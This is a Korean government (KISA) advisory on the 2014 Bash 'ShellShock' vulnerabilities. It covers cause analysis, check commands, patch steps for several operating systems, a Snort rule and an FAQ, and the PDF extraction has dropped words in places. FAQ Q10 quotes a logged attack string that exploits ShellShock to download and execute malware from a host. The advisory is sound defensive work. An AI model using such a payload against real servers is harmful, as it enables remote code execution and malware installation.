원격명령실행취약점대응방안권고 14. 09. 26( 금 ) / KISA 취약점분석팀 14. 09. 30( 화 ) 취약점분석및확인방법, 공격유형, FAQ 추가 개요 년 월 일 에의해발견된 의취약점내용이공개됨 쉘 (Shell) : 사용자가입력한문장을해석하여시스템기능을수행하는명령어해석기 쉘이환경변수를처리하는과정에서취약점이발생하여공격자는시스템의보안을우회하여쉘명령어를실행할수있음 https://bugzilla.redhat.com/show_bug.cgi?id=cve-2014-6271 패치가공개되었으나구글의 가트위터를통해패치가우회가능하다는문제점을제기하여새로운패치를개발하여배포 https://twitter.com/taviso/status/514887394294652929 http://www.openwall.com/lists/oss-security/2014/09/25/10 계속해서 와관련된추가적인보안취약점들이발견되고있음 취약점상세분석 CVE-2014-6271 원격명령실행 CVE-2014-7169 함수선언문파싱에러 CVE-2014-7186 잘못된메모리접근 CVE-2014-7187 잘못된메모리접근 CVE-2014-6277 함수선언문파싱에러 <GNU Bash 취약점요약 > - 1 -
쉘은프로세스환경을이용하여다른쉘인스턴스에환경변수뿐만아니라쉘함수를선언하는기능을제공 함수는 문자열을사용해서환경변수에선언가능하나 함수선언문끝에서처리를멈추지않고계속진행하여쉘명령어를실행 CVE-2014-6271 번호할당 는 파일내에정의되어있는 함수를통해명령어를처리하여실행 함수는전달된명령어문자열의끝까지처리하기위해반복문 사용 int parse_and_execute (string, from_file, flags) {... while (*(bash_input.location.string)) {... 반복문내에서현재처리하는명령어문자열이함수선언문인지 확인하고처리를종료하는코드가없음 - 2 -
따라서함수선언문을처리하고난뒤에도반복문을계속실행하며 뒤에삽입된명령어를실행 if (parse_command () == 0) { if ((flags & SEVAL_PARSEONLY) (interactive_shell == 0 && read_but_dont_execute)) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { // 함수선언명령어인지확인하지않음 struct fd_bitmap *bitmap;... 패치된 버전에서는환경변수처리시에함수선언문인지확인하고 명령어처리횟수 반복문횟수 를 회로제한하여 호출../bash-4.3-patched/variables.c /* Don't import function names that are invalid identifiers from the environment, though we still allow them to be defined as shell variables. */ if (legal_identifier (name)) parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST SEVAL_FUNCDEF SEVAL_ONECMD); 구글의 에의해 패치를적용해도 함수선언문처리과정에여전히문제점이있다고밝혀짐 - 3 -
함수선언문처리과정에서특수한문자를대입할경우 올바르지 않은 문자가저장되어의도치않은명령실행가능 http://ftp.kaist.ac.kr/gnu/gnu/bash/bash-4.3-patches/bash43-026 에의해발견되었으며 개이상의리다이렉트명령문을처리할경우 또는특수한반복문처리과정에서잘못된메모리접근이발생 http://www.openwall.com/lists/oss-security/2014/09/25/13 구글의 에의해발견되었으며 과유사하게함수선언문처리과정에서취약점이존재 http://lcamtuf.blogspot.kr/2014/09/bash-bug-apply-unofficial-patch-now.htm 할당되지않은메모리에접근을시도하여공격자가제어가능한포인터주소로값을쓰거나읽을수있음 공격유형 현재 취약점을악용한공격이탐지되고있으며 다양한 공격명령어들이존재 < 리버스쉘연결 > - 4 -
< 악성코드다운로드 > < 시스템상태확인 > < 패스워드파일탈취 > < 웹쉘생성 > < 시스템강제재시작 > < 파일삭제 > - 5 -
< 디렉토리삭제 > < 메일발송 > < 시스템슬립 > 영향받는버전 및이전버전 예 ) rpm q bash, dpkg -s bash grep Version 모든 버전이취약점에영향을받으며 업데이트된후버전이바뀌지않는일부운영체제도있으니취약점확인방법으로패치검증권고 - 6 -
취약점확인방법 를사용하는시스템에서터미널프로그램실행후아래명령어들을입력 확인 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" <CVE-2014-6271 에취약한 Bash 화면 > <CVE-2014-6271 에취약하지않은 Bash 화면 > 확인 env X='() { (a)=>\' bash -c "echo date"; cat echo ; rm -f echo <CVE-2014-7169 에취약한 Bash 화면 > <CVE-2014-7169 에취약하지않은 Bash 화면 > - 7 -
확인 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' echo "CVE-2014-7186 vulnerable, redir_stack" <CVE-2014-7186 에취약한 Bash 화면 > <CVE-2014-7186 에취약하지않은 Bash 화면 > 확인 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) bash echo "CVE-2014-7187 vulnerable, word_lineno" <CVE-2014-7187 에취약한 Bash 화면 > <CVE-2014-7187 에취약하지않은 Bash 화면 > - 8 -
확인 foo='() { echo not patched; }' bash -c foo <CVE-2014-6277 에취약한 Bash 화면 > <CVE-2014-6277 에취약하지않은 Bash 화면 > 해결방법 업데이트버전설치 취약한 버전을사용하고있는경우 운영체제제조사홈페이지를방문하여패치방법확인 CentOS http://centosnow.blogspot.kr/2014/09/critical-bash-updates-for-centos-5.html Redhat https:/rhn.redhat.com/erata/rhsa-2014-1306.html Ubuntu http://www.ubuntu.com/usn/usn-2364-1/ Fedora http://fedoramagazine.org/updated-bash-packages-now-available-via-fedo ra-updates/ Solaris https://support.oracle.com/rs?type=doc&id=1930090.1 Suse http://lists.opensuse.org/opensuse-security-announce/2014-09/msg00042.html Arch https://lists.archlinux.org/pipermail/arch-security/2014-september/000099.html Mac OS X http://support.apple.com/kb/dl1769 http://support.apple.com/kb/dl1768 http://support.apple.com/kb/dl1767-9 -
패키지업데이트방법 OS 종류 업데이트방법 yum clean all && yum update bash CentOS RHN 업데이트문제로해결이되지않을경우 cd /etc/yum.repos.d vi rhel-debuginfo.repo를통해아래와같은내용으로대체 name=centos-$releasever - Updates baseurl=http://mirror.centos.org/centos/5/updates/$basearch/ gpgcheck=1 <rhel-debuginfo.repo 파일내용변경 > Redhat 대체후, 사용할버전맞게명령어입력 rpm import http://mirror.centos.org/centos/ ( 버전에따라입력 ) (ex : rpm import http://mirror.centos.org/centos/5/os/x86_64/rpm-gpg-key-centos-5) yum update bash Ubuntu sudo apt-get update sudo apt-get install --only-upgrade bash (1) 페도라 21 알파 su -c "yum -y install koji" koji download-build --arch=$(uname -m) bash-4.3.25-2.fc21 su -c "yum localinstall bash-4.3.25-2.fc21.$(uname m).rpm" Fedora (2) 페도라 20 su -c "yum -y install koji" koji download-build --arch=$(uname -m) bash-4.2.48-2.fc20 su -c "yum localinstall bash-4.2.48-2.fc20.$(uname -m).rpm" debian (3) 페도라 19 su -c "yum -y install koji" koji download-build --arch=$(uname -m) bash-4.2.48-2.fc19 su -c "yum localinstall bash-4.2.48-2.fc19.$(uname -m).rpm" (1) Debian 6 (Squeeze) sudo apt-get update sudo apt-get install bash - 10 -
(2) Debian 7 (Wheezy) sudo vim /etc/apt/sources.list를통해아래와같은내용작성 deb http://http.debian.net/debian/ squeeze main contrib non-free deb-src http://http.debian.net/debian/ squeeze main contrib non-free deb http://security.debian.org/ squeeze/updates main contrib non-free deb-src http://security.debian.org/ squeeze/updates main contrib non-free deb http://http.debian.net/debian squeeze-lts main contrib non-free deb-src http://http.debian.net/debian squeeze-lts main contrib non-free <sources.list 파일내용변경 > sudo apt-get update sudo apt-get install bash Solaris 패치파일다운로드 (https://support.oracle.com/rs?type=doc&id=1930090.1) patchadd < 패치경로 > (1) Enterprise Software Development Kit 11 SP3 zypper in -t patch sdksp3-bash-9780 (2) Enterprise Server 11 SP3 for VMware zypper in -t patch slessp3-bash-9780 SUSE (3) Enterprise Server 11 SP3 zypper in -t patch slessp3-bash-9780 (4) Enterprise Server 11 SP2 LTSS zypper in -t patch slessp2-bash-9781 (5) Enterprise Server 11 SP1 LTSS zypper in -t patch slessp1-bash-9782 (6) Enterprise Desktop 11 SP3 zypper in -t patch sledsp3-bash-9780 Arch Mac OS X pacman Syu http://support.apple.com/kb/dl1769 http://support.apple.com/kb/dl1768 http://support.apple.com/kb/dl1767 운영체제버전에알맞은 DMG 파일을다운받아설치 - 11 -
를사용하지않는경우서비스중지또는삭제 서비스의사용유무를확인하여해당서비스를사용하지않을 경우에는서비스를중지시키거나 를삭제조치 네트워크탐지룰설정 공격에사용되는문구 가네트워크패킷으로서버에수신될경우 등의보안장비에서탐지또는차단하는룰설정을통해방어 alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: Volex Possible CVE-2014-6271 bash Vulnerability Requested (header) ; flow:established,to_server; content: () { ; http_header; threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;) 출처 : http://www.volexity.com/blog/?p=19 공식 Snort 룰다운로드주소 https://www.snort.org/downloads 기술상담 성명 연락처 메일주소 손기종 02-405-5223 skj@kisa.or.kr 김민수 02-405-5476 gredmoon@kisa.or.kr 업데이트이력 날짜 업데이트내용 2014.09.26 최초공개 2014.09.30 추가확인된취약점내용, 취약점확인방법, 공격유형, FAQ - 12 -
붙임 취약점 Gnu bash 취약점 (ShellShock) 대응 FAQ Q1. 시스템에서 Gnu bash 의버전정보를어떻게확인할수있나요? 대상시스템의터미널에접속하셔서아래의명령어를입력하여버전을확인하실수있습니다. - rpm 형태로설치한경우 # rpm q bash - 패키지 (dpkg) 형태로설치한경우 # dpkg -s bash grep Version Q2. 보안패치가정상적으로설치가되었는지어떻게확인할수있나요? 터미널에접속한후아래의명령어 2개를각각실행하여 vulnerable 이라는메시지가출력되지않을경우보안패치가완료된것입니다. - CVE-2014-6271와 CVE-2014-7169 취약점의패치여부확인명령어 # env x='() { :;}; echo vulnerable' bash -c "echo this is a test # env x='() { (a)=>\' /bin/bash -c "echo echo vulnerable"; cat echo Q3. 보안패치를적용한후서버재부팅이필요하나요? 시스템을재부팅하지않아도보안패치가적용되나필요한경우취약점확인방법 (Q3) 을참고하여 패치적용여부를확인하실수있습니다. Q4. 소스코드형태로된보안패치파일은어디에서받아볼수있나요? 각벤더별홈페이지에서보안패치를제공하지않는 OS 를사용하는경우 Gnu 공식사이트에 방문하여최신패치파일을다운로드받아설치할수있습니다. - 다운로드링크 : https://ftp.gnu.org/gnu/bash/ Q5. 인터넷을통한외부에서의공격은 CGI 를이용하는서비스만가능한가요? - 13 -
CGI 는 HTTP_USER_AGENT 와같이헤더정보를웹서버의환경변수에저장하는대표적인경우로, CGI 와같이헤더정보가환경변수에저장되고 Bash 쉘을사용하는환경은취약점에노출될수 있습니다. Q6. 솔라리스를사용하고있습니다. 보안패치를적용해야하나요? 솔라리스 8,9,10,11 버전을사용할경우 Bash 취약점 (ShellShock) 의영향을받으며, 아래의제조사 홈페이지에방문하여패치파일을다운로드한후최신업데이트를적용할수있습니다. - https://support.oracle.com/rs?type=doc&id=1930090.1 - patchadd /path/to/patchdir Q7. Bash 쉘을시스템에서사용하지않을경우파일을삭제해도되나요? Bash 파일을삭제할경우운영중인서비스에영향을줄수있으므로시스템장애에대비하여 원본파일 ( 예 : /bin/bash) 을별도로백업하고영향도를검토하여삭제하도록권고합니다. Q8. apt-get 또는 yum 을이용한자동업데이트가되지않을경우어떻게해야하나요? apt-get, yum 을통한자동업데이트는인터넷에연결하여업데이트파일을받아오기때문에 먼저업데이트대상서버가인터넷에연결되어있는지확인하신후업데이트를적용하시기 바랍니다. 인터넷에연결되지않은서버의경우 rpm 등의패키지를다운받을수있는사이트에접속하여 패치파일을다운로드하여로컬시스템에설치할수있습니다. (Q9 참고 ) Q9. 인터넷이되지않는내부에서운영하는서버는어떻게보안패치를수행할수있나요? 업데이트대상시스템이인터넷에연결되어있지않아 apt-get, yum 을통한자동업데이트를 수행할수없을경우 Gnu bash 의최신패치파일을별도의인터넷이연결된곳에서다운로드 한후로컬시스템에업로드하여수동으로보안패치를적용할수있습니다. Gnu bash 의 RPM 다운로드사이트 - https://access.redhat.com/articles/11258 (Manually selecting updates from the Red Hat Network) - 14 -
- http://mirror.centos.org/centos/ - http://rpmfind.net/linux/rpm2html/search.php?query=bash&submit=search+... Q10. 네트워크보안장비에서 Gnu bash 취약점공격을어떻게차단할수있나요? 외부공격자가 Gnu bash 취약점을이용하여공격 ( 스캔등 ) 을수행하는경우아래와같은내용이 웹로그에기록됩니다. - 웹로그에기록된공격패턴문자열 -> () { 192.168.1.1 - - [26/Sep/2014:10:30:00 +0000] "GET /index.cgi HTTP/1.0" 200 349 "() { :; }; wget -O /tmp/malware http://192.168.1.1/malware; chmod 777 /tmp/malware; /tmp/malware;" 네트워크보안장비운영자는해당공격패턴문자열인 () { 를침입탐지시스템또는침입방어시스템을이용하여외부에서유입되는 Gnu bash 취약점공격을탐지및차단하실수있습니다. [Snort 보안정책예제 ] alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: Volex Possible CVE-2014-6271 bash Vulnerability Requested (header) ; flow:established,to_server; content: () { ; http_header; threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;) Q. 각각의 OS에서수동업데이트하는방법이있나요? Redhat 수동업데이트설치방법 1. 아래의레드햇로그인 ( 계정이있어야함 ) 2. On the Subscriptions Classic Management Registered Systems page, 업데이트할사이트선택 3. Software 탭클릭 4. Errata 탭클릭 5. 적용을원하는 Errata 선택 6. 페이지의오른쪽아래의 Apply Errata 선택 7. # rhn_check https://www.redhat.com/wapps/sso/login.html?redirect=http%3a%2f%2faccess.redhat.com%2fmanagement (Rhel6버전 64bit용다운로드주소 ) CentOS 수동업데이트설치방법 1. 해당패키지수동다운로드 http://rpmfind.net//linux/rpm/centos/updates/5.10/i386/rpms/bash-3.2-33.el5.1.i386.html - 15 -
Q. OS 별현재 Bash Patch 최신버전은? 운영체제 Fedora CentOS Ubuntu opensese Debian Solaris Redhat Mac OSX (Fedora 19) bash-4.2.48-2.fc19 (Fedora 20) bash-4.2.48-2.fc20 (Fedora 21) bash-4.3.25-2.fc21 (CentOS 5) bash-3.2-3 3.el5_10.4 (CentOS 6) bash-4.1.2-15.el6_5.2 (CentOS 7) bash-4.2.45-5.el7_0.4 ( U b u n t u 10.04 LTS) 4.1-2ubuntu3.4 ( U b u n t u 12.04 LTS) 4.2-2ubuntu2.5 ( U b u n t u 14.04 LTS) 4.3-7ubuntu1.4 (SuSE11) 3.2-147.2 0.1 (SuSE10) 3.1-24.32.1 (squeeze (lts)) 4.1-3+deb6u2 https://co mmunity.or (wheezy(security)) acle.com/ 4.2+dfsg-0.1+ message/1 deb7u3 2652718#1 2652718 4.3-9.2 (sid) https://rhn. redhat.co m/errata/r HSA-2014-1306.html OS X b a s h Update 1.0 (OS X Lion) (OS X Mountain Lion) (OS X Mavericks) http://d.hatena.ne.jp/kango/20140925/1411612246 최신확인필요 - 16 -